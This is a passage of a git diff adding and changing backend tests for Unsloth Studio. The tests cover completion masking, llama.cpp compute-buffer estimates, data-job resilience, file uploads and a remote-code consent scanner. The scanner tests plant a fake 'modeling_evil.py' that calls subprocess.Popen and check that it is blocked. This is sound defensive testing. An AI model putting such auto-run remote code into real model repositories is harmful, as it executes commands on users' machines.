utils.datasets.model_mappings import TEMPLATE_TO_RESPONSES_MAPPER + + +class _Trainer: + """Sentinel trainer; train_fn wraps it in a new object when applied.""" + + +class _Recorder: + """Fake train_on_responses_only that records calls.""" + + def __init__(self): + self.calls = [] + + def __call__(self, trainer, **kwargs): + self.calls.append(kwargs) + wrapped = _Trainer() + wrapped.wrapped_from = trainer + return wrapped + + +def _detect_ok(processor): + return "", "" + + +def _detect_fail(processor): + raise ValueError( + "Unsloth: Could not reliably auto-detect response_part - " + "pass instruction_part and response_part." + ) + + +_AUTO = {"instruction_part": "", "response_part": ""} + + +class _Notes: + def __init__(self): + self.messages = [] + + def __call__(self, level, message): + self.messages.append((level, message)) + + def warnings(self): + return [m for level, m in self.messages if level == "warning"] + + +def test_unmapped_model_uses_auto_detection(): + # Unmapped model: the auto path applies masking (was silently disabled). + trainer = _Trainer() + train_fn = _Recorder() + notes = _Notes() + + result, applied = apply_completion_masking( + trainer, "LiquidAI/LFM2-8B-A1B", train_fn, notify = notes, detect_fn = _detect_ok + ) + + assert applied is True + assert result.wrapped_from is trainer + assert train_fn.calls == [dict(_AUTO)] # applied with the detected markers + assert notes.warnings() == [] + + +def test_mapped_model_prefers_auto_detection(): + trainer = _Trainer() + train_fn = _Recorder() + + _, applied = apply_completion_masking( + trainer, "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok + ) + + assert applied is True + assert train_fn.calls == [dict(_AUTO)] + + +def test_gpt_oss_uses_auto_detection_first(): + # The quantized gpt-oss checkpoints ship a template without the + # <|channel|>final header, where the manual markers match nothing; auto + # derives markers from the template the checkpoint actually ships. + trainer = _Trainer() + train_fn = _Recorder() + + _, applied = apply_completion_masking( + trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_ok + ) + + assert applied is True + assert train_fn.calls == [dict(_AUTO)] + + +def test_gpt_oss_detection_failure_falls_back_to_manual_markers(): + trainer = _Trainer() + train_fn = _Recorder() + + _, applied = apply_completion_masking( + trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_fail + ) + + assert applied is True + expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"] + assert train_fn.calls == [ + { + "instruction_part": expected["instruction"], + "response_part": expected["response"], + } + ] + + +def test_auto_failure_falls_back_to_template_table(): + trainer = _Trainer() + train_fn = _Recorder() + notes = _Notes() + + result, applied = apply_completion_masking( + trainer, "unsloth/Qwen3-0.6B", train_fn, notify = notes, detect_fn = _detect_fail + ) + + assert applied is True + assert result.wrapped_from is trainer + expected = TEMPLATE_TO_RESPONSES_MAPPER["qwen3"] + assert train_fn.calls == [ + { + "instruction_part": expected["instruction"], + "response_part": expected["response"], + }, + ] + assert any("falling back to the template table" in m for m in notes.warnings()) + + +def test_application_failure_propagates_not_fallback(): + # Detection succeeds; a failure while APPLYING the masking must propagate, + # never silently fall back to full-sequence training. + def train_fn(trainer, **kwargs): + raise RuntimeError("dataset map worker crashed") + + with pytest.raises(RuntimeError, match = "dataset map worker crashed"): + apply_completion_masking(_Trainer(), "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_ok) + + +def test_preset_tokenizer_markers_used_directly(): + # Preset unsloth marker attrs skip detection; zoo reuses them on a bare call. + class _Tok: + _unsloth_input_part = "" + _unsloth_output_part = "" + + trainer = _Trainer() + trainer.processing_class = _Tok() + train_fn = _Recorder() + + _, applied = apply_completion_masking( + trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail + ) + assert applied is True + assert train_fn.calls == [{}] # bare call, stored parts + + +def test_table_miss_warns_and_disables_without_crashing(): + trainer = _Trainer() + train_fn = _Recorder() + notes = _Notes() + + result, applied = apply_completion_masking( + trainer, "some-org/not-in-any-mapper", train_fn, notify = notes, detect_fn = _detect_fail + ) + + assert applied is False + assert result is trainer # unchanged: full sequence training + assert train_fn.calls == [] # detection failed; nothing applied + assert any("could not be applied" in m for m in notes.warnings()) + assert any("full sequences" in m for m in notes.warnings()) + + +def test_num_proc_forwarded_only_when_given(): + # CUDA path passes num_proc; the MLX path omits it. + train_fn = _Recorder() + apply_completion_masking( + _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_ok + ) + assert train_fn.calls == [dict(_AUTO, num_proc = 4)] + + train_fn = _Recorder() + apply_completion_masking( + _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_fail + ) + assert train_fn.calls[0]["num_proc"] == 4 + + train_fn = _Recorder() + apply_completion_masking(_Trainer(), "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok) + assert train_fn.calls == [dict(_AUTO)] + + +def test_manual_fallback_failure_propagates_to_caller(): + # Errors while applying the manual fallback must propagate to the caller. + def train_fn(trainer, **kwargs): + raise RuntimeError("boom") + + with pytest.raises(RuntimeError, match = "boom"): + apply_completion_masking(_Trainer(), "unsloth/gpt-oss-20b", train_fn) + + +def test_notify_is_optional(): + train_fn = _Recorder() + _, applied = apply_completion_masking( + _Trainer(), "some-org/not-in-any-mapper", train_fn, detect_fn = _detect_fail + ) + assert applied is False + + +def test_lookup_manual_markers(): + template, instruction, response = lookup_manual_markers("unsloth/Qwen3-0.6B") + assert template == "qwen3" + assert instruction == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["instruction"] + assert response == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["response"] + + template, instruction, response = lookup_manual_markers("some-org/unknown") + assert (template, instruction, response) == (None, None, None) + + template, instruction, response = lookup_manual_markers(None) + assert (template, instruction, response) == (None, None, None) + + +def test_renamed_gpt_oss_gets_template_markers(): + # Name-detected as gpt-oss but not in the exact-name table: must use the + # gpt-oss markers, not fall through to full-sequence training. + trainer = _Trainer() + train_fn = _Recorder() + + _, applied = apply_completion_masking( + trainer, "some-org/gpt-oss-20b-sft", train_fn, detect_fn = _detect_fail + ) + assert applied is True + expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"] + assert train_fn.calls == [ + { + "instruction_part": expected["instruction"], + "response_part": expected["response"], + } + ] + + +class _FakeTokenizerWrapper: + """mlx-lm TokenizerWrapper semantics: plain reads delegate to the wrapped + tokenizer, underscore attrs do not (so preset markers are hidden).""" + + def __init__(self, tokenizer): + object.__setattr__(self, "_tokenizer", tokenizer) + + def __getattr__(self, attr): + if attr.startswith("_"): + return object.__getattribute__(self, attr) + return getattr(object.__getattribute__(self, "_tokenizer"), attr) + + +_FakeTokenizerWrapper.__name__ = "TokenizerWrapper" + + +def test_mlx_tokenizer_wrapper_unwrapped_for_preset_markers(): + # Markers live on the inner HF tokenizer that the wrapper hides; the helper + # must unwrap so the preset bare-call path still fires on MLX. + class _Tok: + _unsloth_input_part = "" + _unsloth_output_part = "" + + trainer = _Trainer() + trainer.tokenizer = _FakeTokenizerWrapper(_Tok()) + train_fn = _Recorder() + + _, applied = apply_completion_masking( + trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail + ) + assert applied is True + assert train_fn.calls == [{}] # bare call, stored parts + + +def test_mlx_tokenizer_wrapper_unwrapped_for_detection(): + # Detection must see the real tokenizer, not the wrapper, so it does not + # depend on the loader's __call__ patch. + class _Tok: + pass + + inner = _Tok() + trainer = _Trainer() + trainer.tokenizer = _FakeTokenizerWrapper(inner) + train_fn = _Recorder() + seen = [] + + def detect(processor): + seen.append(processor) + return "", "" + + _, applied = apply_completion_masking( + trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = detect + ) + assert applied is True + assert seen == [inner] diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py index 42c400383e..8408f8203d 100644 --- a/studio/backend/tests/test_compute_buffer.py +++ b/studio/backend/tests/test_compute_buffer.py @@ -61,11 +61,18 @@ from core.inference.llama_cpp import LlamaCppBackend MIB = 1024 * 1024 -def _backend(vocab = 248320, embd = 5120): +def _backend( + vocab = 248320, + embd = 5120, + mla = None, + arch = None, +): """Backend with just the dims the compute-buffer estimate reads.""" b = LlamaCppBackend.__new__(LlamaCppBackend) b._vocab_size = vocab b._embedding_length = embd + b._key_length_mla = mla # non-None -> MLA (compressed attention) + b._architecture = arch # GGUF general.architecture (e.g. 'deepseek4') return b @@ -150,3 +157,197 @@ class TestParallel1Default: def test_default_n_parallel(self): est = _backend()._estimate_compute_buffer_bytes() / MIB assert est < 128 + + +class TestContextLinearBuffer: + """``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch + grow ~linearly with context; the flat estimate above only covers ctx -> 0. + Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the + worst-case upper bound the term must hold to.""" + + # (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512) + _MEASURED = [ + ("Qwen3.5-2B", 2048, 262144, 796), + ("Qwen3.5-4B", 2560, 262144, 1330), # worst slope, 2.02 x n_embd + ("Qwen3.5-9B", 4096, 262144, 1336), + ("Qwen3.6-27B", 5120, 262144, 1360), + ("Gemma-4-31B", 5376, 262144, 2392), + ] + + def test_zero_by_default(self): + # Omitted/zero ctx -> no term (keeps the flat callers unchanged). + assert _backend()._compute_buffer_ctx_bytes(0) == 0 + + def test_zero_when_embd_missing(self): + assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0 + + def test_grows_linearly_with_context(self): + b = _backend(embd = 4096) + a = b._compute_buffer_ctx_bytes(65536) + d = b._compute_buffer_ctx_bytes(131072) + assert d == pytest.approx(2 * a, rel = 1e-6) + + def test_scales_with_embd(self): + # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not. + small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + assert big > small + + def test_scales_with_ubatch(self): + b = _backend(embd = 4096) + lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256) + hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) + assert hi > lo + + @pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED) + def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured): + # flat term + context-linear term must cover the real (q8_0) buffer at full ctx. + b = _backend(embd = embd) + flat = b._estimate_compute_buffer_bytes(n_parallel = 1) + total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB + assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}" + + def test_worst_case_rate_covers_two_x_embd(self): + # >= 2 x n_embd bytes per context token at the default micro-batch (the worst + # measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer. + embd = 4096 + b = _backend(embd = embd) + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000 + assert per_tok >= 2 * embd + + +class TestContextBufferKVQuant: + """The context-linear rate depends on the KV cache type: a quantized cache adds a + context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light). + Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16).""" + + def test_quantized_heavier_than_f16(self): + b = _backend(embd = 4096) + q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16") + assert q > f + + def test_none_cache_type_is_f16(self): + # None -> f16 (llama.cpp's default); the env-quantized case is covered by the + # KV budget's f16 over-reservation, so we take the lighter mask-only rate. + b = _backend(embd = 4096) + assert b._compute_buffer_ctx_bytes( + 131072, cache_type_kv = None + ) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16") + + @pytest.mark.parametrize("ct", ["f16", "bf16", "f32"]) + def test_unquantized_uses_mask_only_rate(self, ct): + # f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd. + b_small = _backend(embd = 2048) + b_big = _backend(embd = 8192) + per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + assert per_small == per_big # no n_embd scaling on the f16 path + expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY # ubatch 512 + assert per_small == pytest.approx(expected, rel = 1e-6) + + @pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"]) + def test_quantized_types_use_heavy_rate(self, ct): + embd = 4096 + b = _backend(embd = embd) + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + assert per_tok == pytest.approx( + LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6 + ) + + def test_f16_covers_measured_mask(self): + # f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the + # measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k). + b = _backend(embd = 2560) # Qwen3.5-4B + est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB + assert est >= 320 # measured 0.31 GiB growth + + +class TestContextBufferMLA: + """MLA (compressed attention) needs a smaller quantized dequant scratch than + regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to + 2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight + multi-GPU MLA pin (per-device scaling multiplies the error).""" + + def test_mla_lighter_than_regular(self): + reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + assert mla < reg + + @pytest.mark.parametrize( + "name,embd,ctx,measured", + [ + ("GLM-5.2", 6144, 754688, 4141), # per-device compute MiB at q8_0 + ("Kimi-K2.7", 7168, 262144, 1690), + ], + ) + def test_mla_rate_covers_measured(self, name, embd, ctx, measured): + b = _backend(embd = embd, mla = 256) + est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB + assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}" + + def test_mla_not_wildly_over(self): + # 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like + # the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context. + b = _backend(embd = 6144, mla = 256) + est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB + assert est <= 4141 * 1.7 + + +class TestContextBufferDSV4: + """DeepSeek-V4 (deepseek4) reserves a large lightning-indexer / sparse-attention + compute buffer the KQ-mask and MLA rates miss (present even with an f16 cache). + Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k ctx, ~65.5 GiB at 1M. The auto-fit + must see this so it does not commit the full 1M train context and OOM (spilling + to CPU at ~4 tok/s).""" + + _MEASURED_1M_GIB = 65.5 # 70353790464 B compute-graph reserve that OOM'd at 1M ctx + GIB = 1024**3 + + def test_covers_measured_1m_buffer(self): + b = _backend(embd = 4096, arch = "deepseek4") + gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB + assert gib >= self._MEASURED_1M_GIB, f"under-reserved {gib:.1f} < {self._MEASURED_1M_GIB}" + + def test_not_wildly_over_at_1m(self): + # Within ~1.3x of measured so the fit still grants a large (~256k) context. + b = _backend(embd = 4096, arch = "deepseek4") + gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB + assert gib <= self._MEASURED_1M_GIB * 1.3 + + def test_fires_for_f16_cache(self): + # The bug: an f16 (default) cache took the tiny mask-only path. DSV4 must + # reserve GiB, not the ~MiB a non-DSV4 model reserves at the same ctx. + dsv4 = _backend(embd = 4096, arch = "deepseek4")._compute_buffer_ctx_bytes( + 262144, cache_type_kv = "f16" + ) + other = _backend(embd = 4096, arch = "qwen3")._compute_buffer_ctx_bytes( + 262144, cache_type_kv = "f16" + ) + assert dsv4 > 40 * other + + def test_cache_type_independent(self): + # Indexer scratch is present for an f16 and a quantized cache alike. + b = _backend(embd = 4096, arch = "deepseek4") + assert b._compute_buffer_ctx_bytes( + 262144, cache_type_kv = "f16" + ) == b._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + + def test_flat_floor_at_small_ctx(self): + # ~2 GiB indexer scratch present even at tiny ctx (covers the measured 16k ~2 GiB). + b = _backend(embd = 4096, arch = "deepseek4") + assert b._compute_buffer_ctx_bytes(16384, cache_type_kv = "f16") / self.GIB >= 2.0 + + def test_scales_with_context_and_ubatch(self): + b = _backend(embd = 4096, arch = "deepseek4") + assert b._compute_buffer_ctx_bytes(131072) > b._compute_buffer_ctx_bytes(65536) + assert b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) > b._compute_buffer_ctx_bytes( + 131072, n_ubatch = 256 + ) + + def test_non_dsv4_unchanged(self): + # Regression guard: a non-deepseek4 model keeps the mask-only f16 rate. + b = _backend(embd = 4096, arch = "llama") + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "f16") / 100000 + expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY + assert per_tok == pytest.approx(expected, rel = 1e-6) diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py index 67b44ede89..804221ec7e 100644 --- a/studio/backend/tests/test_consent_gate.py +++ b/studio/backend/tests/test_consent_gate.py @@ -418,7 +418,7 @@ class TestWorkersWireTheGate: # Inference + export expand the consent scan to the LoRA base model's code. for rel in ("core/inference/worker.py", "core/export/worker.py"): src = (_BACKEND / rel).read_text() - assert "consent_targets" in src + assert "evaluate_remote_code_consent" in src assert "get_base_model_from_lora" in src or "mc.base_model" in src def test_remote_lora_base_is_resolved_in_gate_paths(self): @@ -603,6 +603,8 @@ class TestStructuredFindingsForDialog: "preflight_remote_code_consent_for_targets", lambda *_a, **_k: SimpleNamespace( has_remote_code = True, + blocked = False, + reason = "allowed: no high-risk patterns", response_payload = lambda: {"has_remote_code": True, "approvable": True}, ), ) @@ -636,6 +638,8 @@ class TestStructuredFindingsForDialog: def test_fingerprint_threaded_to_worker(self, rel): src = (Path(__file__).resolve().parent.parent / rel).read_text() assert "approved_remote_code_fingerprint" in src + # The per-user approval cache rides the same path as the fingerprint. + assert "subject" in src # Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable @@ -815,6 +819,39 @@ class TestRemoteCodeScan: assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean +class TestConsentProvider: + """_consent_provider attributes the dialog's `from ""` tag only when safe.""" + + @staticmethod + def _fn(): + from routes.models import _consent_provider + return _consent_provider + + def test_single_hub_id_returns_owner(self): + assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"]) == "NVIDIA" + assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"], []) == "NVIDIA" + + def test_multi_target_lora_returns_none(self): + # A LoRA scans adapter + base; attributing to one would mislead. + assert self._fn()("user/adapter", ["user/adapter", "NVIDIA/base"]) is None + + def test_external_auto_map_ref_returns_none(self): + # A single repo whose auto_map pulls code from another repo: don't attribute it. + assert self._fn()("owner/repo", ["owner/repo"], ["evilorg/evilrepo"]) is None + + def test_local_path_returns_none(self, tmp_path): + d = tmp_path / "org" / "model" + d.mkdir(parents = True) + assert self._fn()(str(d), [str(d)]) is None + assert self._fn()("/home/me/model", ["/home/me/model"]) is None + + def test_non_canonical_id_returns_none(self): + fn = self._fn() + assert fn("a/b/c", ["a/b/c"]) is None + assert fn("/repo", ["/repo"]) is None + assert fn("plainname", ["plainname"]) is None + + class TestScannerCoversAllExecutableCode: """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code.""" @@ -1224,9 +1261,9 @@ class TestScannerCoversAllExecutableCode: configs = consent._load_remote_code_configs("some/gated-repo") assert configs is None - def test_gguf_repo_auto_map_is_ignored(self): - # A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it, - # so _config_has_auto_map must return False and skip the consent flow. + def test_gguf_repo_auto_map_is_scanned_for_non_file_load_paths(self, tmp_path): + # A GGUF-only repo id still hits export paths that run auto_map; only a direct + # .gguf file is inert. def _dl( repo_id = None, filename = None, @@ -1234,10 +1271,8 @@ class TestScannerCoversAllExecutableCode: **kw, ): import json - import tempfile - if filename == "config.json": - p = Path(tempfile.mkdtemp()) / "config.json" + p = tmp_path / "config.json" p.write_text( json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}}) ) @@ -1251,7 +1286,79 @@ class TestScannerCoversAllExecutableCode: return_value = ["config.json", "model-00001-of-00097.gguf"], ), ): - assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False + assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is True + + def test_gguf_only_repo_with_python_is_scanned_and_blocked(self, tmp_path): + # Regression: the GGUF-only short-circuit must not skip auto_map Python for export loaders. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + + p = tmp_path / filename + if filename == "config.json": + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}})) + return str(p) + if filename == "modeling_evil.py": + p.write_text("import subprocess\nsubprocess.Popen(['id'])\n") + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "modeling_evil.py", "model.Q4_K_M.gguf"], + ), + ): + d = evaluate_remote_code_consent_for_targets( + ["evil/GGUF-Only"], + trust_remote_code = True, + ) + + assert d.has_remote_code is True + assert d.blocked is True + assert d.max_severity == HIGH + assert d.fingerprint + + def test_transformers_style_repo_auto_map_is_scanned_and_blocked(self, tmp_path): + # A non-GGUF repo (safetensors/MLX) with auto_map is still scanned and blocked. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + + p = tmp_path / filename + if filename == "config.json": + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}})) + return str(p) + if filename == "modeling_evil.py": + p.write_text("import subprocess\nsubprocess.Popen(['id'])\n") + return str(p) + raise EntryNotFoundError(filename) + + for weights in (["model.safetensors"], ["weights.npz"]): + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "modeling_evil.py", *weights], + ), + ): + d = evaluate_remote_code_consent_for_targets( + ["org/Transformers-Style"], + trust_remote_code = True, + ) + assert d.has_remote_code is True, weights + assert d.blocked is True, weights + assert d.max_severity == HIGH, weights + assert d.fingerprint, weights def test_direct_gguf_file_reference_has_no_auto_map(self): # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call. diff --git a/studio/backend/tests/test_data_recipe_pump_resilience.py b/studio/backend/tests/test_data_recipe_pump_resilience.py new file mode 100644 index 0000000000..e702be7811 --- /dev/null +++ b/studio/backend/tests/test_data_recipe_pump_resilience.py @@ -0,0 +1,152 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Data-recipe job pump resilience. + +The pump is the sole consumer of worker events and sole writer of the job +snapshot the status/SSE endpoints read; a handler error must not kill it, or the +job stays wedged "active" and the workflow key is never retired. Fakes only. +""" + +from __future__ import annotations + +import queue +import sys +import threading +import time +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from core.data_recipe.jobs.manager import JobManager # noqa: E402 +from core.data_recipe.jobs.types import Job # noqa: E402 + + +class _FakeProc: + def __init__(self, alive: bool = True): + self._alive = alive + + def is_alive(self): + return self._alive + + +class _ScriptedQueue: + def __init__(self, events): + self._events = list(events) + + def get(self, timeout = None): + if self._events: + return self._events.pop(0) + raise queue.Empty + + def get_nowait(self): + if self._events: + return self._events.pop(0) + raise queue.Empty + + +def _wait_until(predicate, timeout = 5.0): + deadline = time.time() + timeout + while time.time() < deadline: + if predicate(): + return True + time.sleep(0.01) + return predicate() + + +def _manager_with_active_job(): + m = JobManager.__new__(JobManager) + m._lock = threading.Lock() + job = Job(job_id = "job-test") + job.status = "active" + m._job = job + m._proc = _FakeProc(alive = True) + m._mp_q = _ScriptedQueue([]) + return m + + +def test_pump_survives_handler_exception_and_still_finalizes(monkeypatch): + m = _manager_with_active_job() + handled: list = [] + + def fake_handle(job, event): + if event.get("type") == "boom": + raise RuntimeError("malformed log line") + handled.append(event.get("type")) + + emitted: list = [] + retired: list = [] + monkeypatch.setattr(m, "_handle_event", fake_handle) + monkeypatch.setattr(m, "_emit", lambda e: emitted.append(e)) + monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j)) + + m._mp_q = _ScriptedQueue( + [{"type": "boom"}, {"type": "log"}, {"type": "boom"}, {"type": "progress"}] + ) + + pump = threading.Thread(target = m._pump_loop, daemon = True) + pump.start() + try: + assert _wait_until( + lambda: handled == ["log", "progress"] + ), "pump must keep processing events after a handler raises" + assert pump.is_alive() + finally: + m._proc._alive = False # worker exits -> pump should finalize and stop + pump.join(timeout = 5) + + assert not pump.is_alive() + # The exited worker is finalized as error (not left wedged "active") and the + # workflow key is retired despite the earlier handler exceptions. + assert m._job.status == "error" + assert retired and retired[0] is m._job + + +def test_pump_finalizes_when_drain_raises(monkeypatch): + m = _manager_with_active_job() + monkeypatch.setattr(m, "_emit", lambda e: None) + retired: list = [] + monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j)) + + class _BadDrainQueue: + def get(self, timeout = None): + raise queue.Empty + + def get_nowait(self): + raise RuntimeError("corrupt drain payload") + + m._proc = _FakeProc(alive = False) + m._mp_q = _BadDrainQueue() + + m._pump_loop() # returns once it sees the dead worker + + assert m._job.status == "error" + assert retired and retired[0] is m._job + + +def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch): + # A read that keeps raising after the child died must not spin the pump + # forever: once the worker is gone it falls through to finalize. + m = _manager_with_active_job() + monkeypatch.setattr(m, "_emit", lambda e: None) + retired: list = [] + monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j)) + + class _BrokenReadQueue: + def get(self, timeout = None): + raise RuntimeError("broken queue pipe") + + def get_nowait(self): + raise queue.Empty + + m._proc = _FakeProc(alive = False) + m._mp_q = _BrokenReadQueue() + + pump = threading.Thread(target = m._pump_loop, daemon = True) + pump.start() + pump.join(timeout = 5) + assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising" + assert m._job.status == "error" + assert retired and retired[0] is m._job diff --git a/studio/backend/tests/test_data_recipe_seed.py b/studio/backend/tests/test_data_recipe_seed.py index 601df8bbfe..58bbd24061 100644 --- a/studio/backend/tests/test_data_recipe_seed.py +++ b/studio/backend/tests/test_data_recipe_seed.py @@ -1,12 +1,223 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +import asyncio +import importlib.util from pathlib import Path +import pytest -def test_seed_inspect_load_kwargs_disables_remote_code_execution(): - seed_route = ( + +def _seed_route_source() -> str: + return ( Path(__file__).resolve().parent.parent / "routes" / "data_recipe" / "seed.py" ).read_text() - assert '"trust_remote_code": False' in seed_route + +def test_seed_inspect_load_kwargs_disables_remote_code_execution(): + assert '"trust_remote_code": False' in _seed_route_source() + + +class _FakeUpload: + def __init__(self, filename: str, content: bytes): + self.filename = filename + self._content = content + + async def read(self) -> bytes: + return self._content + + +def _load_seed_route(monkeypatch: pytest.MonkeyPatch, tmp_path: Path): + pytest.importorskip("fastapi") + pytest.importorskip("multipart") + pytest.importorskip("structlog") + + backend_root = Path(__file__).resolve().parent.parent + monkeypatch.syspath_prepend(str(backend_root)) + route_path = backend_root / "routes" / "data_recipe" / "seed.py" + spec = importlib.util.spec_from_file_location("seed_under_test", route_path) + assert spec is not None and spec.loader is not None + seed_route = importlib.util.module_from_spec(spec) + spec.loader.exec_module(seed_route) + seed_route.UNSTRUCTURED_UPLOAD_ROOT = tmp_path / "unstructured-uploads" + return seed_route + + +def _run_upload( + seed_route, + filename: str, + content: bytes, + block_id: str = "block", +): + return asyncio.run( + seed_route.upload_unstructured_file(_FakeUpload(filename, content), block_id) + ) + + +def _block_files(seed_route, block_id: str = "block") -> list[str]: + block_dir = seed_route.UNSTRUCTURED_UPLOAD_ROOT / block_id + if not block_dir.exists(): + return [] + return sorted(path.name for path in block_dir.iterdir()) + + +def _raise(exc: BaseException): + def raise_exc(*args, **kwargs): + raise exc + + return raise_exc + + +@pytest.mark.parametrize( + ("filename", "package"), + [ + ("paper.pdf", "pymupdf4llm"), + ("notes.docx", "mammoth"), + ], +) +def test_unstructured_upload_names_missing_extractor_dependency( + monkeypatch, tmp_path, filename, package +): + seed_route = _load_seed_route(monkeypatch, tmp_path) + monkeypatch.setattr( + seed_route, + "_extract_text_from_file", + _raise(ModuleNotFoundError(f"No module named {package!r}", name = package)), + ) + + result = _run_upload(seed_route, filename, b"%PDF-1.7") + + assert result.status == "error" + assert ( + result.error + == f"Cannot read {Path(filename).suffix} files: the '{package}' package is not installed." + ) + assert _block_files(seed_route) == [] + + +def test_unstructured_upload_keeps_txt_path_working(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + + result = _run_upload(seed_route, "notes.txt", b"hello") + + assert result.status == "ok" + assert result.error is None + assert any(name.endswith(".txt") for name in _block_files(seed_route)) + assert any(name.endswith(".extracted.txt") for name in _block_files(seed_route)) + + +@pytest.mark.parametrize( + "exc", + [ + ImportError("cannot import internal symbol"), + ModuleNotFoundError( + "No module named 'missing_transitive_pkg'", + name = "missing_transitive_pkg", + ), + ], +) +def 